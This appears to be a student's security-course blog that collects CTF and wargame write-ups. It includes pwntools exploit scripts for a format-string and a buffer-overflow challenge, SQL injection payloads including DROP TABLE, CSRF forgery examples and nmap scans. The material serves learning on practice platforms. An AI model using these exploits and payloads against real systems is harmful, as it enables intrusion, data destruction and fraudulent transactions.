#somethingawesomeproject

Update: I actually in 3rd (or 1st) place.

This week I’ve completed almost all challenges on plsdonthaq.me hosted by some of the tutors in COMP64[84]1.

I’m going to walk through some of the interesting challenges (and some stupid ones too).

misc - shuffle

The file contains some gibberish which from the look of it I think it’s ASCII art.

I immediately notice the digits. My first guess was that they are line numbers. I wrote a simple script to sort the lines:

touch ascii.txt for i in 593 $(seq 0 593) do l=$(grep "::$i::" shuffle.txt) echo "$l" >>ascii.txt done `</pre> Flag: MAKING ASCII ART IS A KEY PART OF THE HACKERS TOOLKIT ## binary - format2 This took me the most time to solve as I was too lazy to download 32-bit Ubuntu on a VM. Eventually, I did and realised how quickly and easier it was to solve the challenge.  The file is 32-bit ELF LSB executable binary:  Note: I used[ gdb-peda](https://github.com/longld/peda). This is obviously a format string vulnerability. So I put it in GDB: <pre>`gdb-peda$ disass main Dump of assembler code for function main: 0x080491b6 <+0>: lea ecx,[esp+0x4] 0x080491ba <+4>: and esp,0xfffffff0 0x080491bd <+7>: push DWORD PTR [ecx-0x4] 0x080491c0 <+10>: push ebp 0x080491c1 <+11>: mov ebp,esp 0x080491c3 <+13>: push ebx 0x080491c4 <+14>: push ecx 0x080491c5 <+15>: call 0x80490f0 <__x86.get_pc_thunk.bx> 0x080491ca <+20>: add ebx,0x2e36 0x080491d0 <+26>: sub esp,0xc 0x080491d3 <+29>: lea eax,[ebx-0x1ff8] 0x080491d9 <+35>: push eax 0x080491da <+36>: call 0x8049070 <puts@plt> 0x080491df <+41>: add esp,0x10 0x080491e2 <+44>: mov eax,DWORD PTR [ebx-0x8] 0x080491e8 <+50>: mov eax,DWORD PTR [eax] 0x080491ea <+52>: sub esp,0xc 0x080491ed <+55>: push eax 0x080491ee <+56>: call 0x8049040 <fflush@plt> 0x080491f3 <+61>: add esp,0x10 0x080491f6 <+64>: call 0x804920a <do_the_format> 0x080491fb <+69>: mov eax,0x0 0x08049200 <+74>: lea esp,[ebp-0x8] 0x08049203 <+77>: pop ecx 0x08049204 <+78>: pop ebx 0x08049205 <+79>: pop ebp 0x08049206 <+80>: lea esp,[ecx-0x4] 0x08049209 <+83>: ret End of assembler dump.

We can see the main function is not doing much besides calling puts (probably to print the banner) and calling the do_the_format function. Going to the do_the_format function gives:

<pre>`gdb-peda$ disass do_the_format Dump of assembler code for function do_the_format: 0x0804920a <+0>: push ebp 0x0804920b <+1>: mov ebp,esp 0x0804920d <+3>: push ebx 0x0804920e <+4>: sub esp,0x74 0x08049211 <+7>: call 0x80490f0 <__x86.get_pc_thunk.bx> 0x08049216 <+12>: add ebx,0x2dea 0x0804921c <+18>: mov eax,gs:0x14 0x08049222 <+24>: mov DWORD PTR [ebp-0xc],eax 0x08049225 <+27>: xor eax,eax 0x08049227 <+29>: sub esp,0x8 0x0804922a <+32>: lea eax,[ebx-0x2d42] 0x08049230 <+38>: push eax 0x08049231 <+39>: lea eax,[ebx-0x1e60] 0x08049237 <+45>: push eax 0x08049238 <+46>: call 0x8049030 <printf@plt> 0x0804923d <+51>: add esp,0x10 0x08049240 <+54>: mov eax,DWORD PTR [ebx-0x8] 0x08049246 <+60>: mov eax,DWORD PTR [eax] 0x08049248 <+62>: sub esp,0xc 0x0804924b <+65>: push eax 0x0804924c <+66>: call 0x8049040 <fflush@plt> 0x08049251 <+71>: add esp,0x10 0x08049254 <+74>: mov eax,DWORD PTR [ebx-0xc] 0x0804925a <+80>: mov eax,DWORD PTR [eax] 0x0804925c <+82>: sub esp,0x4 0x0804925f <+85>: push eax 0x08049260 <+86>: push 0x63 0x08049262 <+88>: lea eax,[ebp-0x71] 0x08049265 <+91>: push eax 0x08049266 <+92>: call 0x8049050 <fgets@plt> 0x0804926b <+97>: add esp,0x10 0x0804926e <+100>: mov BYTE PTR [ebp-0xd],0x0 0x08049272 <+104>: sub esp,0xc 0x08049275 <+107>: lea eax,[ebp-0x71] 0x08049278 <+110>: push eax 0x08049279 <+111>: call 0x8049030 <printf@plt> 0x0804927e <+116>: add esp,0x10 0x08049281 <+119>: sub esp,0xc 0x08049284 <+122>: lea eax,[ebx-0x1d88] 0x0804928a <+128>: push eax 0x0804928b <+129>: call 0x8049070 <puts@plt> 0x08049290 <+134>: add esp,0x10 0x08049293 <+137>: mov eax,DWORD PTR [ebx-0x8] 0x08049299 <+143>: mov eax,DWORD PTR [eax] 0x0804929b <+145>: sub esp,0xc 0x0804929e <+148>: push eax 0x0804929f <+149>: call 0x8049040 <fflush@plt> 0x080492a4 <+154>: add esp,0x10 0x080492a7 <+157>: nop 0x080492a8 <+158>: mov eax,DWORD PTR [ebp-0xc] 0x080492ab <+161>: xor eax,DWORD PTR gs:0x14 0x080492b2 <+168>: je 0x80492b9 <do_the_format+175> 0x080492b4 <+170>: call 0x8049360 <__stack_chk_fail_local> 0x080492b9 <+175>: mov ebx,DWORD PTR [ebp-0x4] 0x080492bc <+178>: leave 0x080492bd <+179>: ret End of assembler dump.

The entry point of attack is the printf function located at 0x08049279, also right after that is puts at 0x0804928b and fflush at 0x0804929f. I know this based on the analysis of the good old Ghidra:

We can see the printf function is taking the variable that has our input with a buffer of 100 in length.

Another function we can see is print_the_flag, which is located at 0x80492be:

So far we’ve got:

Vulnerable printf at 0x08049279

Buffer size is 100* 2 functions to be a trampoline to jump to print_the_flag

puts at 0x0804928b

fflush at 0x0804929f* Function to get flag at 0x80492be

Great, now it’s time to exploit.

We first need to find the eip. We can easily do that by doing the good old AAAA%x trick:

It looks like our input is at the 6th address on the stack (A=0x41) but with a padding of some sort. We can verify this by having an extra character at the start:

Note: I’ve also used %6$p to print the value of the 6th address on the stack, which is our input (with a padding of 1 character of course).

Now we need to get the GOT address of either of the two trampoline functions, here I will choose fflush:

0x0804929f <+149&>: call 0x8049040 <fflush@plt>

We can see in the do_the_format function, it is calling fflush at 

0x8049040.

We can examine this address using gdb:

Sure enough, the address is a jump call to 0x804c010, which is the address of fflush in the GOT.

Now we just need to modify 0x804c010 to be 0x80492be, which is where the print_the_flag function located.

I’ve written a Python script to print out the payload:

import struct from pwn import * FLAG = 0x80492be FFLUSH = 0x804c010 def pad(s): return s+"X"*(100-len(s)) exploit = " " exploit += struct.pack("I", FFLUSH) exploit += struct.pack("I", FFLUSH+2) exploit += "%2043x" exploit += "%7$hn" exploit += "%35514x" exploit += "%6$hn" exploit = pad(exploit) r = remote('plsdonthaq.me', 1002) r.recvuntil(">") r.sendline(exploit) r.interactive()

More info on how this script is written here.

Executing the script gives us a reverse shell:

More writeups can be found on my Github here.

Conclusion

I’ve managed to come 4th (or 3rd):

I’ve solved most of the challenges and found them quite intuitive after the course:

I will be covering a few of the challenges I found interesting during the SecSoc CTF last Saturday in this post.

Web - Riddle In The Dark

Deep down here by the dark water lived old Gollum, a small slimy creature. Riddles were all he could think of. Asking them, and sometimes guessing them, had been the only game he had ever played with other funny creatures sitting in their holes in the long, long ago, before he lost all his friends and was driven away. (Ping @Viv for troubleshooting)

http://riddle.unswsecurity.com/

The link shows a simple site with some Lord of the Rings riddles where the answers can easily be found on the internet. Each correct answer will advance you to the next question.

For example:

Riddle:

What has roots as nobody sees, Is taller than trees, Up, up, up it goes And yet, never grows

Answer:

mountain

After getting to the last riddle:

What have I got in my pocket?

The obvious answer “ring” or “the ring” does not work.

After checking for Network requests, I found out there’s a secret hidden input storing the riddle id:

I first check by changing the value to “9″ and submit:

At first, this might seem like a normal Flask error, but if you look closely at the end:

Bingo! This looks like an unsafe way to query SQL statements. I first tried the classic:

' OR 1=1; --


A different error! This time the cause was by the server joining the string returned from the query:

We can try to test it by limiting the number of rows returned using:

' OR 1=1 LIMIT 1; --

Just as we suspected, we returned to the first riddle (since we’re only getting the first row of the query, naturally only the first riddle is returned):

From the error logs, we can see that the server is executing SQLITE statements. We can try to get all the tables from the database by using:

1' UNION SELECT sql FROM sqlite_master; --


As you can see, besides id, riddle, ans and response, we also got a column ring. This might be what we’re looking for.

To get the column, I used:

1' UNION SELECT ring FROM riddles LIMIT 1; --

But it shows an error:

This is because the row’s ring value might be empty. To check for all rows, we can use the OFFSET keyword:

1' UNION SELECT ring FROM riddles LIMIT 1 OFFSET 1; --

Finally, the ring was found:

The hint for the vulnerability might have been in the title all along: Riddle In The Dark - Blind SQL Injection.

Although everyone thinks this is an easy challenge, this is actually my first ‘real’ SQL injection exploit. I’m quite proud of my work and being able to get the flag feels great.

bufff

A classic buffer overflow challenge:

I analysed the file with Ghidra:

The main function calls indestructible():

After checking the value of the buffer (local_56), I’ve noticed that the size is 82 in decimals.

The function to jump to is appropriately called ohSh1t:

With the address of 0x08048556:

Putting everything together, I’ve written a Python script using pwntools to get exploit the binary:

from pwn import * r = remote('ctf.unswsecurity.com', 7002) r.send("a"*86 + "\x56\x85\x04\x08" + "\n") print r.recvuntil("\n") r.interactive()

DSo I’m finally starting on my Something Awesome Project, with only 26 hours before I have to submit something yay :D. Shoutout to my tutor, Adam Smallhorn, whose advice gave me a clearer goal than before and guided me to this whole DVWA idea. Now onto the meaty stuff:

What is DMVA?

I think there is no better explanation for DMVA than their description on their website:

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.

This week I decided to switch to hackthis.co.uk to do some of their challenges. The challenges were difficult but I was satisfied with the learning process along the way.

I am going to go through some of the interesting challenges from Main to Basic+.

Main

This category contains some of the easier challenges to introduce people to the site. Most of the challenges here are quite similar to the first few levels in OverTheWire/Natas.

Level 6

The challenge requires you to log in as Ronald while the select box doesn’t contain Ronald as one of the usernames.

We can try and modify the HTML in place using the Developer Tools in Chrome.

Now we can submit as Ronald and complete the challenge.

Level 9

This challenge contains a login form with a link to request for the credentials.

After clicking on the link, the page shows:

I’ve tried putting random emails in but it does not work.

After checking the source, it reveals another hidden input with an email of [email protected].

When I input the email, the page gives another error.

I’m guessing that the page checks with the hidden input to see if the two matches. I changed the hidden input’s email and match it with the input and the challenge is solved.

Basic+

This level contains some of the more interesting challenges, not just web vulnerabilities exploits but forensics as well.

Level 1

We are provided with a file called b1.txt, which contains some gibberish when opened.

I noticed the word BM6, and immediately thinking that this might be a BMP file, so I changed the extension to .bmp and got this image:

And that’s the flag to complete the challenge.

Level 3

The challenge shows a Flash application on the page which has a Score and a Submit button.

After clicking submit and checking the outbound network traffic, I see that the site is sending HTTP requests that have the score as part of the form-data.

I can just use cURL to resend the request with the score 194175 to complete the challenge:

curl 'https://www.hackthis.co.uk/levels/b3.php?submit' ...... --data 'score=109384'

Level 4

The challenge provides an image:

Nothing was out of the ordinary after checking with strings and file. However, when I look into the EXIF data, it shows the author to be _james _with the comment _I like chocolate_.

I immediately tried to log in with username: _james _and password: I like chocolate but it didn’t work. However, after thinking for a while, I tried to log in with the same username but the password changed to **chocolate **and it worked.

Level 5

Again I was given an image with a login form:

Running strings on the image shows the login credentials at the end:

strings b5.jpg

Logging in with admin for username and safe for password completes the challenge.

Level 7

With this last level, the hint shows the site is running some services.

I tried running nmap to scan for possible open ports.

nmap -p 1-65535 hackthis.co.uk ... Discovered open port 22/tcp on 85.159.213.101 Discovered open port 443/tcp on 85.159.213.101 Discovered open port 80/tcp on 85.159.213.101 Discovered open port 6459/tcp on 85.159.213.101 Discovered open port 6776/tcp on 85.159.213.101 Discovered open port 6460/tcp on 85.159.213.101 ...

I see that ssh, ftp and http ports are open but they are just normal services, nothing suspicious.

After some trials and errors, I found the flag when trying to netcat to port 6776:

netcat hackthis.co.uk 6776 Welcome weary traveller. I believe you are looking for this: mapthat

Conclusion

I’ve learned a lot while solving these challenges, especially on how to do network forensics. I hope this would be a good preparation for the upcoming SecSoc CTF that I am going to attend this Saturday.

My short write-ups can be found in my Github here:

SQL

Structured Query Language or SQL is a programming language used to manage data in a system. A web server might use SQL databases to store their data such as user info and credentials. 

When a user registers an account, an INSERT statement is made to the SQL database to add a new user. When a user performs a login action, their inputs are checked against the database using the SELECT statement and query all the records matching the input. If the input credentials match the ones in the SQL database, the user is then authorised.

Example:

SELECT * FROM users WHERE name = ‘Bob’;

SQL Injection

SQL Injection is a type of code injection, where the user’s input is used to make unintended queries to the database. This exploits the vulnerability where the website’s input is used directly to make dynamic queries to the database without any sanitisations.

SQL injection was considered one of the top 10 web application vulnerabilities of 2007 and 2010 by the Open Web Application Security Project.

Example of a dynamic query:

statement = "SELECT * FROM users WHERE name = '" + userName + "';"

Here the variable userName stores the user’s input. If the user were to enter 

' OR '1'='1

, the statement becomes:

statement = "SELECT * FROM users WHERE name = '" + “'OR '1'='1” + "';"

The complete query statement would be:

SELECT * FROM users WHERE name = '' OR '1'='1';

The OR operator makes the WHERE clause to be always true, hence all records from the users table will be returned.

Knowing this, we can also execute other commands like DROP to delete records:

userName = “a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't”

The complete query statement would be:

SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';

This is extremely dangerous where the client can make direct calls to execute queries in the database such as deleting records, editing records or adding new records into the system.

SQL injection can be used to edit records saved on the site’s database. Imagine all of your school’s students database can be accessed through the school’s website. If someone were to exploit SQL injection vulnerabilities, they can edit students’ marks, get all students’ private information or delete all fees payment records.

Preventing SQL Injections

The best way to prevent SQL injections is to sanitise inputs, both from the web client (using javascript) and at the backend (e.g. PHP).

Other mitigation methods are:

Parameterized statements - using placeholders instead of embedding user input in the statement

Escaping - escape SQL strings before querying

Database permissions - limiting the permissions on the database login used by the web application to only what is needed

Cross-Site Request Forgery

According to OWASP, a Cross-Site Request Forgery (CSRF) is "an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated". To understand this, we need to know what's in an HTTP request and how can one forge it.

HTTP requests

The Hypertext Transfer Protocol or HTTP for short is a protocol used in data communication for the web. Often when we browse the web, we make HTTP requests to the web server to let them know what to send back to us to display in our browser. 

The HTTP request format has:

A start-line describing the requests or the status of the last request. Request methods are often included here when we make a request to the server. 

The four common methods are GET, POST, DELETE, PUT. When we enter a URL to the browser and press enter, we first make a GET request to the web server that the URL points to.

Header fields describing the properties of the request. The request header field is part of the header fields where it allows users to pass information about the request and the user themselves. 

Some of the important fields are Authorization, Connection, From, Host, Referer, User-Agent.

An empty line indicating the end of the header fields.

The message body (optional). This contains data associated with the request such as content for form submission or HTML data. 

Every time you go to www.google.com, you will have to make a GET request to get the homepage of the search engine. An example of an HTTP GET request that your browser makes to www.google.com:

GET HTTP/1.1 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0 Host: www.google.com Connection: Keep-Alive

As you can see, Google can see the information that the browser automatically put in the request like User-Agent. This information tells Google that you are using Firefox 47.0 on a Windows x64 machine. Of course, much more information is sent in a typical HTTP request by your browser but here I am showing you how much data is given away to the web server that you don't know.

CSRF Attacks

When a website makes a request to another web server on behalf of the user, there won't be any security concerns as long as no authentication is needed. However, when the user's session cookie is sent with the request, an attacker can do a CSRF attack. 

There is a common theme in CRSF and XSS attacks, that is the process of attacking comprises of building a malicious URL then tricking the victim into executing it using social engineering or phishing. 

The difference between CRSF and XSS attacks is CSRF happens when the server trusts the user/browser, while XSS doesn't need an authenticated session and can be exploited when the vulnerable website doesn't do the basics of validating or escaping input.

Example of a CSRF GET attack

A bank called TrustedBank has a website to allow clients to check on their account and make transactions. One of the valid transactions is to transfer money to another account, given that the client is logged in. 

The URL is a GET request with parameters for the amount of money and the account to transfer to is:

http://trustedbank.com/transfer?amount=100000&account=Bob

The request must include a session cookie to verify that the client is logged in before going through the transferring process. Because of having a session cookie, the request doesn't need to have a source as all the information about the client is stored in the cookie. A hacker Elliot knows this vulnerability and tricked Bob into clicking on this URL:

http://trustedbank.com/transfer?amount=1337&account=Elliot

Of course, the hacker can try to mask the URL with HTML by including it in a <img> tag:

<img data-fr-src="http://trustedbank.com/transfer?amount=1337&account=Elliot" />

If the victim is already logged in and clicked on the malicious image, he will make a request to the bank to transfer money to Elliot's account without him knowing.

Example of a CSRF POST attack

Often than not, the URL for making transactions only accepts POST requests, as we do have to submit the information provided in the web form, with the parameters provided in the message body.

A POST request to transfer the money might look like this:

POST http://trustedbank.com/transfer HTTP/1.1 amount=1337&account=Elliot

The request cannot be spoofed into a <img> tag like before, but rather a form like this:

<form action="http://trustedbank.com/transfer" method="POST"> <input type="hidden" name="account" value="Elliot"/> <input type="hidden" name="amount" value="1337"/> <input type="submit" value="View my pictures"/> </form>

Example of origin spoofing

Some sites might require the referer field in the HTTP header to know where the request is coming from and prevent CSRF attacks. But the attackers can counter this by giving the same site URL in the referer to spoof the origin of the request as if it came from the same site.

POST http://trustedbank.com/transfer HTTP/1.1 Referer: www.trustedbank.com amount=1337&account=Elliot

Preventing CSRF

Many attempts have been made to counter this kind of attack. These are the prevention measures that do NOT work: using a secret cookie, only accepting POST requests, HTTPS, URL Rewriting, Multi-Step Transactions.

Since Cross-site attacks happen on the client side, it is hard to have a full-proof prevention method. Security experts propose many CSRF prevention methods such as using a referer header, using HttpOnly flag, etc. but not all of them are effective in every case. 

Two practical approaches to handle CSRF are:

Anti-CSRF tokens: When a user submits a form or makes some other authenticated request that requires a Cookie, the Anti-CSRF token should be included in the request. The web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.

Same-site Cookies: The same-site attribute is set by the server when setting the Cookie and requests the browser to only send the cookie in a first-party context, therefore, the request has to originate from the same origin – requests made by third-party sites will not include the same-site Cookie.

Conclusion

Reconnaissance is a process used to secretly gain information on a target. This week, I’ll be building an automated port scanner script using Python and nmap to actively scan for opened TCP ports.

Port Scanning

Before carrying out an attack, attackers usually scan for vulnerable ports and gather information about the network. This is good for recon and here’s what you might be able to find:

Protocols in use, such as IP, IPX, and NetBIOS

Services running on the hosts such as e-mail, web servers, and database applications

Available remote access services, such as Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), and Secure Shell (SSH)

Virtual Private Network (VPN) services, such as PPTP, SSL, and IPsec

Required authentication for network shares

Knowing these might help with identifying vulnerabilities or exploits that can be used to gain access to the network. 

For example, the recent SMB exploit found on Windows-based systems as well as Linux was based on the unprotected port 445. Port 445 is a TCP port for Microsoft-DS SMB file sharing. Once the attacker has gained access to the network via exploiting the port, many malicious attacks can be carried out, such as this privilege-escalation and key-logging attack here.

The script

The python-nmap module can be used in conjunction with the system’s nmap to scan for ports on a target host.

The python-nmap module has the function PortScanner(), which can then be called with a specified host and port to retrieve the state of the port.

import nmap nm = nmap.PortScanner() nm.scan('127.0.0.1', '22') state = nm['127.0.0.1']['tcp'][22]['state'] print(state)

The program outputs:

closed

Also, in the nm object, the can returns a dictionary containing information about the port such as name, state, reason, version, etc. For example, in the nm object, we can see information on the TCP/22 port:

'tcp': {22: {'state': 'closed', 'reason': 'conn-refused', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}

The full script is available here:

Inspecting Elements

During the week, I have researched some ways that information can be leaked through web pages. One of those was data hiding in plain sight - HTML code. 

Most HTML elements are rendered by the browser and some of the data are hidden in the process. To fully discover the full HTML code, we can inspect the elements by hitting F12 in Chrome or in the right-click context menu.

Tumblr’s own HTML code contains a hidden ASCII logo that wasn’t rendered since it is inside the comment tag.

OverTheWire - Natas

One of the websites that were recommended for me by the tutor was https://overthewire.org/wargames/natas/. The site contains web-security related challenges in multiple levels of difficulty.

This week, I managed to complete the challenges from level 0 to level 4. The challenges were easy and all involved inspecting the elements, one way or another, to find the flag or login to the next level.

My short write-ups can be found in my Github here: